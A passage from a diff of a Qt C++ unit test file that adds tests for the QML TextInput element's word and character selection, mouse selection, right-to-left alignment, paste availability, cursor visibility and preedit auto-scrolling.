+            << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectCharacters << 19 << 27 << true;
+    QTest::newRow("th(e qu)ick|characters")
+            << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectCharacters << 2 << 6 << true;
+    QTest::newRow("la(zy d)og|characters")
+            << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectCharacters << 38 << 42 << true;
+    QTest::newRow("jum(ped ov)er|characters")
+            << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectCharacters << 23 << 29 << true;
+    QTest::newRow("()the|characters")
+            << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectCharacters << 0 << 0 << true;
+    QTest::newRow("dog()|characters")
+            << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectCharacters << 44 << 44 << true;
+    QTest::newRow("jum()ped|characters")
+            << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true;
+
+    QTest::newRow("<(t)he>|words")
+            << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
+    QTest::newRow("<do(g)>|words")
+            << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
+    QTest::newRow("<jum(p)ed>|words")
+            << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
+    QTest::newRow("<jumped( )>over|words,ltr")
+            << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 20 << 27 << false;
+    QTest::newRow("jumped<( )over>|words,rtl")
+            << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 31 << false;
+    QTest::newRow("<(the )>quick|words,ltr")
+            << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 4 << false;
+    QTest::newRow("<(the )quick>|words,rtl")
+            << standard[0] << 4 << 0 << QDeclarativeTextInput::SelectWords << 0 << 9 << false;
+    QTest::newRow("<lazy( dog)>|words,ltr")
+            << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 36 << 44 << false;
+    QTest::newRow("lazy<( dog)>|words,rtl")
+            << standard[0] << 44 << 40 << QDeclarativeTextInput::SelectWords << 40 << 44 << false;
+    QTest::newRow("<fox( jumped )>over|words,ltr")
+            << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 16 << 27 << false;
+    QTest::newRow("fox<( jumped )over>|words,rtl")
+            << standard[0] << 27 << 19 << QDeclarativeTextInput::SelectWords << 19 << 31 << false;
+    QTest::newRow("<th(e qu)ick>|words")
+            << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true;
+    QTest::newRow("<la(zy d)og|words>")
+            << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true;
+    QTest::newRow("<jum(ped ov)er>|words")
+            << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true;
+    QTest::newRow("<()>the|words")
+            << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
+    QTest::newRow("dog<()>|words")
+            << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true;
+    QTest::newRow("jum<()>ped|words")
+            << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true;
+
+    QTest::newRow("Hello<(,)> |words")
+            << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
+    QTest::newRow("Hello<(, )>world|words,ltr")
+            << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
+    QTest::newRow("Hello<(, )world>|words,rtl")
+            << standard[2] << 7 << 5 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
+    QTest::newRow("<Hel(lo, )>world|words,ltr")
+            << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+    QTest::newRow("<Hel(lo, )world>|words,rtl")
+            << standard[2] << 7 << 3 << QDeclarativeTextInput::SelectWords << 0 << 12 << false;
+    QTest::newRow("<Hel(lo)>,|words")
+            << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true;
+    QTest::newRow("Hello<()>,|words")
+            << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true;
+    QTest::newRow("Hello,<()>|words")
+            << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true;
+    QTest::newRow("Hello<,( )>world|words,ltr")
+            << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
+    QTest::newRow("Hello,<( )world>|words,rtl")
+            << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
+    QTest::newRow("Hello<,( world)>|words,ltr")
+            << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
+    QTest::newRow("Hello,<( world)>|words,rtl")
+            << standard[2] << 12 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
+    QTest::newRow("Hello<,( world!)>|words,ltr")
+            << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << false;
+    QTest::newRow("Hello,<( world!)>|words,rtl")
+            << standard[2] << 13 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
+    QTest::newRow("Hello<(, world!)>|words")
+            << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true;
+    // Fails due to an issue with QTextBoundaryFinder and punctuation at the end of strings.
+    // QTBUG-11365
+    // QTest::newRow("world<(!)>|words")
+    //         << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
+    QTest::newRow("world!<()>)|words")
+            << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true;
+    QTest::newRow("world<()>!)|words")
+            << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true;
+
+    QTest::newRow("<(,)>olleH |words")
+            << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
+    QTest::newRow("<dlrow( ,)>olleH|words,ltr")
+            << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
+    QTest::newRow("dlrow<( ,)>olleH|words,rtl")
+            << standard[3] << 8 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
+    QTest::newRow("<dlrow( ,ol)leH>|words,ltr")
+            << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 1 << 13 << false;
+    QTest::newRow("dlrow<( ,ol)leH>|words,rtl")
+            << standard[3] << 10 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
+    QTest::newRow(",<(ol)leH>,|words")
+            << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true;
+    QTest::newRow(",<()>olleH|words")
+            << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true;
+    QTest::newRow("<()>,olleH|words")
+            << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true;
+    QTest::newRow("<dlrow( )>,olleH|words,ltr")
+            << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
+    QTest::newRow("dlrow<( ),>olleH|words,rtl")
+            << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
+    QTest::newRow("<(dlrow )>,olleH|words,ltr")
+            << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
+    QTest::newRow("<(dlrow ),>olleH|words,rtl")
+            << standard[3] << 7 << 1 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
+    QTest::newRow("<(!dlrow )>,olleH|words,ltr")
+            << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+    QTest::newRow("<(!dlrow ),>olleH|words,rtl")
+            << standard[3] << 7 << 0 << QDeclarativeTextInput::SelectWords << 0 << 8 << false;
+    QTest::newRow("(!dlrow ,)olleH|words")
+            << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true;
+    QTest::newRow("<(!)>dlrow|words")
+            << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true;
+    QTest::newRow("<()>!dlrow|words")
+            << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
+    QTest::newRow("!<()>dlrow|words")
+            << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true;
+}
+
+void tst_qdeclarativetextinput::moveCursorSelection()
+{
+    QFETCH(QString, testStr);
+    QFETCH(int, cursorPosition);
+    QFETCH(int, movePosition);
+    QFETCH(QDeclarativeTextInput::SelectionMode, mode);
+    QFETCH(int, selectionStart);
+    QFETCH(int, selectionEnd);
+    QFETCH(bool, reversible);
+
+    QString componentStr = "import QtQuick 1.1\nTextInput {  text: \""+ testStr +"\"; }";
+    QDeclarativeComponent textinputComponent(&engine);
+    textinputComponent.setData(componentStr.toLatin1(), QUrl());
+    QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+    QVERIFY(textinputObject != 0);
+
+    textinputObject->setCursorPosition(cursorPosition);
+    textinputObject->moveCursorSelection(movePosition, mode);
+
+    QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+    QCOMPARE(textinputObject->selectionStart(), selectionStart);
+    QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
+
+    if (reversible) {
+        textinputObject->setCursorPosition(movePosition);
+        textinputObject->moveCursorSelection(cursorPosition, mode);
+
+        QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+        QCOMPARE(textinputObject->selectionStart(), selectionStart);
+        QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
+    }
+}
+
+void tst_qdeclarativetextinput::moveCursorSelectionSequence_data()
+{
+    QTest::addColumn<QString>("testStr");
+    QTest::addColumn<int>("cursorPosition");
+    QTest::addColumn<int>("movePosition1");
+    QTest::addColumn<int>("movePosition2");
+    QTest::addColumn<int>("selection1Start");
+    QTest::addColumn<int>("selection1End");
+    QTest::addColumn<int>("selection2Start");
+    QTest::addColumn<int>("selection2End");
+
+    QTest::newRow("the {<quick( bro)wn> f^ox} jumped|ltr")
+            << standard[0]
+            << 9 << 13 << 17
+            << 4 << 15
+            << 4 << 19;
+    QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
+            << standard[0]
+            << 13 << 9 << 17
+            << 9 << 15
+            << 10 << 19;
+    QTest::newRow("the {<quick( bro)wn> ^}fox jumped|ltr")
+            << standard[0]
+            << 9 << 13 << 16
+            << 4 << 15
+            << 4 << 16;
+    QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
+            << standard[0]
+            << 13 << 9 << 16
+            << 9 << 15
+            << 10 << 16;
+    QTest::newRow("the {<quick( bro)wn^>} fox jumped|ltr")
+            << standard[0]
+            << 9 << 13 << 15
+            << 4 << 15
+            << 4 << 15;
+    QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
+            << standard[0]
+            << 13 << 9 << 15
+            << 9 << 15
+            << 10 << 15;
+    QTest::newRow("the {<quick() ^}bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 10
+            << 4 << 15
+            << 4 << 10;
+    QTest::newRow("the quick<( {^bro)wn>} fox|rtl")
+            << standard[0]
+            << 13 << 9 << 10
+            << 9 << 15
+            << 10 << 15;
+    QTest::newRow("the {<quick^}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 9
+            << 4 << 15
+            << 4 << 9;
+    QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
+            << standard[0]
+            << 13 << 9 << 9
+            << 9 << 15
+            << 9 << 15;
+    QTest::newRow("the {<qui^ck}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 7
+            << 4 << 15
+            << 4 << 9;
+    QTest::newRow("the {<qui^ck}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 7
+            << 9 << 15
+            << 4 << 15;
+    QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 4
+            << 4 << 15
+            << 4 << 9;
+    QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 4
+            << 9 << 15
+            << 4 << 15;
+    QTest::newRow("the{^ <quick}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 3
+            << 4 << 15
+            << 3 << 9;
+    QTest::newRow("the{^ <quick}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 3
+            << 9 << 15
+            << 3 << 15;
+    QTest::newRow("{t^he <quick}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 1
+            << 4 << 15
+            << 0 << 9;
+    QTest::newRow("{t^he <quick}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 1
+            << 9 << 15
+            << 0 << 15;
+
+    QTest::newRow("{<He(ll)o>, w^orld}!|ltr")
+            << standard[2]
+            << 2 << 4 << 8
+            << 0 << 5
+            << 0 << 12;
+    QTest::newRow("{<He(ll)o>, w^orld}!|rtl")
+            << standard[2]
+            << 4 << 2 << 8
+            << 0 << 5
+            << 0 << 12;
+
+    QTest::newRow("!{dlro^w ,<o(ll)eH>}|ltr")
+            << standard[3]
+            << 9 << 11 << 5
+            << 8 << 13
+            << 1 << 13;
+    QTest::newRow("!{dlro^w ,<o(ll)eH>}|rtl")
+            << standard[3]
+            << 11 << 9 << 5
+            << 8 << 13
+            << 1 << 13;
+}
+
+void tst_qdeclarativetextinput::moveCursorSelectionSequence()
+{
+    QFETCH(QString, testStr);
+    QFETCH(int, cursorPosition);
+    QFETCH(int, movePosition1);
+    QFETCH(int, movePosition2);
+    QFETCH(int, selection1Start);
+    QFETCH(int, selection1End);
+    QFETCH(int, selection2Start);
+    QFETCH(int, selection2End);
+
+    QString componentStr = "import QtQuick 1.1\nTextInput {  text: \""+ testStr +"\"; }";
+    QDeclarativeComponent textinputComponent(&engine);
+    textinputComponent.setData(componentStr.toLatin1(), QUrl());
+    QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+    QVERIFY(textinputObject != 0);
+
+    textinputObject->setCursorPosition(cursorPosition);
+
+    textinputObject->moveCursorSelection(movePosition1, QDeclarativeTextInput::SelectWords);
+    QCOMPARE(textinputObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
+    QCOMPARE(textinputObject->selectionStart(), selection1Start);
+    QCOMPARE(textinputObject->selectionEnd(), selection1End);
+
+    textinputObject->moveCursorSelection(movePosition2, QDeclarativeTextInput::SelectWords);
+    QCOMPARE(textinputObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
+    QCOMPARE(textinputObject->selectionStart(), selection2Start);
+    QCOMPARE(textinputObject->selectionEnd(), selection2End);
+}
+
+void tst_qdeclarativetextinput::dragMouseSelection()
+{
+    QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
+
+    QDeclarativeView *canvas = createView(qmlfile);
+
+    canvas->show();
+    QApplication::setActiveWindow(canvas);
+    QTest::qWaitForWindowShown(canvas);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+    QVERIFY(canvas->rootObject() != 0);
+    QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+    QVERIFY(textInputObject != 0);
+
+    // press-and-drag-and-release from x1 to x2
+    int x1 = 10;
+    int x2 = 70;
+    int y = textInputObject->height()/2;
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+    {
+        QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(canvas->viewport(), &mv);
+    }
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+
+    QString str1 = textInputObject->selectedText();
+    QVERIFY(str1.length() > 3);
+
+    // press and drag the current selection.
+    x1 = 40;
+    x2 = 100;
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+    {
+        QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(canvas->viewport(), &mv);
+    }
+        QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+    QString str2 = textInputObject->selectedText();
+    QVERIFY(str2.length() > 3);
+
+    QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
+    delete canvas;
+}
+
+void tst_qdeclarativetextinput::mouseSelectionMode_data()
+{
+    QTest::addColumn<QString>("qmlfile");
+    QTest::addColumn<bool>("selectWords");
+
+    // import installed
+    QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
+    QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
+    QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
+}
+
+void tst_qdeclarativetextinput::mouseSelectionMode()
+{
+    QFETCH(QString, qmlfile);
+    QFETCH(bool, selectWords);
+
+    QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+    QDeclarativeView *canvas = createView(qmlfile);
+
+    canvas->show();
+    QApplication::setActiveWindow(canvas);
+    QTest::qWaitForWindowShown(canvas);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+    QVERIFY(canvas->rootObject() != 0);
+    QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+    QVERIFY(textInputObject != 0);
+
+    // press-and-drag-and-release from x1 to x2
+    int x1 = 10;
+    int x2 = 70;
+    int y = textInputObject->height()/2;
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+    //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+    QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+    QApplication::sendEvent(canvas->viewport(), &mv);
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+    QString str = textInputObject->selectedText();
+    if (selectWords) {
+        QCOMPARE(str, text);
+    } else {
+        QVERIFY(str.length() > 3);
+        QVERIFY(str != text);
+    }
+
+    delete canvas;
+}
+
 void tst_qdeclarativetextinput::horizontalAlignment_data()
 {
     QTest::addColumn<int>("hAlign");
@@ -448,6 +905,31 @@ void tst_qdeclarativetextinput::horizontalAlignment()
     delete canvas;
 }
 
+void tst_qdeclarativetextinput::horizontalAlignment_RightToLeft()
+{
+    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
+    QDeclarativeTextInput *textInput = canvas->rootObject()->findChild<QDeclarativeTextInput*>("text");
+    QVERIFY(textInput != 0);
+    canvas->show();
+
+    QDeclarativeTextInputPrivate *textInputPrivate = QDeclarativeTextInputPrivate::get(textInput);
+    QVERIFY(textInputPrivate != 0);
+    QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
+
+    // "Right" Align
+    textInput->setHAlign(QDeclarativeTextInput::AlignRight);
+    QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
+    QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+
+    // Center Align
+    textInput->setHAlign(QDeclarativeTextInput::AlignHCenter);
+    QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignHCenter);
+    QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
+    QVERIFY(-textInputPrivate->hscroll + textInputPrivate->width() > canvas->width()/2);
+
+    delete canvas;
+}
+
 void tst_qdeclarativetextinput::positionAt()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
@@ -739,10 +1221,18 @@ void tst_qdeclarativetextinput::copyAndPaste() {
     QCOMPARE(textInput->selectedText(), QString("Hello world!"));
     QCOMPARE(textInput->selectedText().length(), 12);
     textInput->setCursorPosition(0);
+    QVERIFY(textInput->canPaste());
     textInput->paste();
     QCOMPARE(textInput->text(), QString("Hello world!Hello world!"));
     QCOMPARE(textInput->text().length(), 24);
 
+    // can paste
+    QVERIFY(textInput->canPaste());
+    textInput->setReadOnly(true);
+    QVERIFY(!textInput->canPaste());
+    textInput->setReadOnly(false);
+    QVERIFY(textInput->canPaste());
+
     // select word
     textInput->setCursorPosition(0);
     textInput->selectWord();
@@ -760,6 +1250,7 @@ void tst_qdeclarativetextinput::copyAndPaste() {
     QClipboard *clipboard = QApplication::clipboard();
     QVERIFY(clipboard);
     clipboard->clear();
+    QVERIFY(!textInput->canPaste());
 
     // test that copy functionality is disabled
     // when echo mode is set to hide text/password mode
@@ -826,6 +1317,75 @@ void tst_qdeclarativetextinput::cursorDelegate()
     delete view;
 }
 
+void tst_qdeclarativetextinput::cursorVisible()
+{
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+    QDeclarativeTextInput input;
+    QSignalSpy spy(&input, SIGNAL(cursorVisibleChanged(bool)));
+
+    QCOMPARE(input.isCursorVisible(), false);
+
+    input.setCursorVisible(true);
+    QCOMPARE(input.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 1);
+
+    input.setCursorVisible(false);
+    QCOMPARE(input.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 2);
+
+    input.setFocus(true);
+    QCOMPARE(input.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 2);
+
+    scene.addItem(&input);
+    QCOMPARE(input.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 3);
+
+    input.setFocus(false);
+    QCOMPARE(input.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 4);
+
+    input.setFocus(true);
+    QCOMPARE(input.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 5);
+
+    scene.clearFocus();
+    QCOMPARE(input.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 6);
+
+    scene.setFocus();
+    QCOMPARE(input.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 7);
+
+    view.clearFocus();
+    QCOMPARE(input.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 8);
+
+    view.setFocus();
+    QCOMPARE(input.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 9);
+
+    // on mac, setActiveWindow(0) on mac does not deactivate the current application
+    // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+    QApplication::setActiveWindow(0);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(0));
+    QCOMPARE(input.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 10);
+
+    QApplication::setActiveWindow(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+    QCOMPARE(input.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 11);
+#endif
+}
+
 void tst_qdeclarativetextinput::readOnly()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/readOnly.qml");
@@ -907,6 +1467,8 @@ void tst_qdeclarativetextinput::echoMode()
     input->setFocus(false);
     QVERIFY(input->hasActiveFocus() == false);
     QCOMPARE(input->displayText(), QLatin1String("Q"));
+
+    delete canvas;
 }
 
 void tst_qdeclarativetextinput::simulateKey(QDeclarativeView *view, int key)
@@ -929,7 +1491,7 @@ QDeclarativeView *tst_qdeclarativetextinput::createView(const QString &filename)
 class MyInputContext : public QInputContext
 {
 public:
-    MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false) {}
+    MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false), updateReceived(false), eventType(QEvent::None) {}
     ~MyInputContext() {}
 
     QString identifierName() { return QString(); }
@@ -947,8 +1509,40 @@ public:
             closeInputPanelReceived = true;
         return QInputContext::filterEvent(event);
     }
+
+    void update() { updateReceived = true; }
+
+    void mouseHandler(int x, QMouseEvent *event)
+    {
+        cursor = x;
+        eventType = event->type();
+        eventPosition = event->pos();
+        eventGlobalPosition = event->globalPos();
+        eventButton = event->button();
+        eventButtons = event->buttons();
+        eventModifiers = event->modifiers();
+    }
+
+    void sendPreeditText(const QString &text, int cursor)
+    {
+        QList<QInputMethodEvent::Attribute> attributes;
+        attributes.append(QInputMethodEvent::Attribute(
+                QInputMethodEvent::Cursor, cursor, text.length(), QVariant()));
+
+        QInputMethodEvent event(text, attributes);
+        sendEvent(event);
+    }
+
     bool openInputPanelReceived;
     bool closeInputPanelReceived;
+    bool updateReceived;
+    int cursor;
+    QEvent::Type eventType;
+    QPoint eventPosition;
+    QPoint eventGlobalPosition;
+    Qt::MouseButton eventButton;
+    Qt::MouseButtons eventButtons;
+    Qt::KeyboardModifiers eventModifiers;
 };
 
 void tst_qdeclarativetextinput::openInputPanelOnClick()
@@ -1117,6 +1711,16 @@ void tst_qdeclarativetextinput::openInputPanelOnFocus()
     QApplication::processEvents();
     QVERIFY(view.inputContext() == 0);
     QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+    // input method should not be enabled
+    // if TextEdit is read only.
+    input.setReadOnly(true);
+    ic.openInputPanelReceived = false;
+    input.setFocus(true);
+    QApplication::processEvents();
+    QCOMPARE(ic.openInputPanelReceived, false);
+    QVERIFY(view.inputContext() == 0);
+    QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
 }
 
 class MyTextInput : public QDeclarativeTextInput
@@ -1183,6 +1787,285 @@ void tst_qdeclarativetextinput::geometrySignals()
     delete o;
 }
 
+void tst_qdeclarativetextinput::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; TextInput { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_qdeclarativetextinput::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("canPaste") << "property bool foo: canPaste"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: canPaste"
+        << "";
+
+    QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: moveCursorSelection"
+        << "";
+
+    QTest::newRow("deselect") << "Component.onCompleted: deselect()"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: deselect"
+        << "";
+}
+
+void tst_qdeclarativetextinput::preeditAutoScroll()
+{
+    QString committedText = "super";
+    QString preeditText = "califragisiticexpialidocious!";
+
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    MyInputContext ic;
+    view.setInputContext(&ic);
+    QDeclarativeTextInput input;
+    input.setWidth(QFontMetricsF(input.font()).width(committedText));
+    input.setText(committedText);
+    input.setPos(0, 0);
+    input.setFocus(true);
+    scene.addItem(&input);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+    // test the text is scrolled so the preedit is visible.
+    ic.sendPreeditText(preeditText.mid(0, 3), 1);
+    QVERIFY(input.positionAt(0) != 0);
+    QCOMPARE(input.positionAt(input.width()), 8);
+
+    // test the text is scrolled back when the preedit is removed.
+    ic.sendEvent(QInputMethodEvent());
+    QCOMPARE(input.positionAt(0), 0);
+    QCOMPARE(input.positionAt(input.width()), 5);
+
+    // test if the preedit is larger than the text input that the
+    // character preceding the cursor is still visible.
+    for (int i = 0; i < 3; ++i) {
+        ic.sendPreeditText(preeditText, i + 1);
+        QCOMPARE(input.positionAt(0), 5 + i);
+    }
+    for (int i = 1; i >= 0; --i) {
+        ic.sendPreeditText(preeditText, i + 1);
+        QCOMPARE(input.positionAt(0), 5 + i);
+    }
+
+    // Test incrementing the preedit cursor doesn't cause further
+    // scrolling when right most text is visible.
+    ic.sendPreeditText(preeditText, preeditText.length() - 3);
+    int position = input.positionAt(0);
+    for (int i = 2; i >= 0; --i) {
+        ic.sendPreeditText(preeditText, preeditText.length() - i);
+        QCOMPARE(input.positionAt(0), position);
+    }
+    for (int i = 1; i <  3; ++i) {
+        ic.sendPreeditText(preeditText, preeditText.length() - i);
+        QCOMPARE(input.positionAt(0), position);
+    }
+
+    // Test disabling auto scroll.
+    ic.sendEvent(QInputMethodEvent());
+
+    input.setAutoScroll(false);
+    ic.sendPreeditText(preeditText.mid(0, 3), 1);
+    QCOMPARE(input.positionAt(0), 0);
+    QCOMPARE(input.positionAt(input.width()), 5);
+}
+
+void tst_qdeclarativetextinput::preeditMicroFocus()
